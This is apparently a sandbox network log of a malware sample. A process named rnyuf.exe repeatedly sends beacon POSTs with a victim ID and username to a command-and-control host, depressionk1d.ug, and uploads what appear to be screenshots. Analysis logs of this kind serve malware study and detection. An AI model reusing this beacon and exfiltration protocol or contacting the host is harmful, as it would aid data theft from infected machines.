Nov 12, 2021 22:23:42.444655895 CET	6397	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:42.444694996 CET	6399	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:42.444722891 CET	6403	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:42.517024040 CET	6481	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:42 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.4	49899	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:42.464411020 CET	6409	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:42.490170956 CET	6462	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.4	49900	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:42.620806932 CET	6482	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:42.648977041 CET	6482	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.4	49901	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:42.777404070 CET	6483	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:42.803371906 CET	6483	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.4	49902	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:42.932312012 CET	6484	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:42.957523108 CET	6484	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.4	49903	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:43.327604055 CET	6485	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:43.355326891 CET	6524	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.4	49904	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:43.329546928 CET	6485	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:43.329691887 CET	6485	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:43.329900026 CET	6495	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:43.330045938 CET	6498	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:43.352382898 CET	6509	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:43.352437973 CET	6512	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:43.352485895 CET	6518	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:43.352503061 CET	6521	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:43.353230000 CET	6524	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:43.374962091 CET	6527	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:43.375025034 CET	6535	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:43.442573071 CET	6595	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:43 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:43.469909906 CET	6595	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:43.496586084 CET	6595	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49793	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:14.786380053 CET	1887	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:14.786647081 CET	1887	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:14.786989927 CET	1897	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:14.787478924 CET	1900	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:14.808790922 CET	1901	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:14 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:14.809432030 CET	1904	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:14.809493065 CET	1909	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:14.809529066 CET	1920	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:14.809900045 CET	1924	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:14.834769964 CET	1971	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.4	49905	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

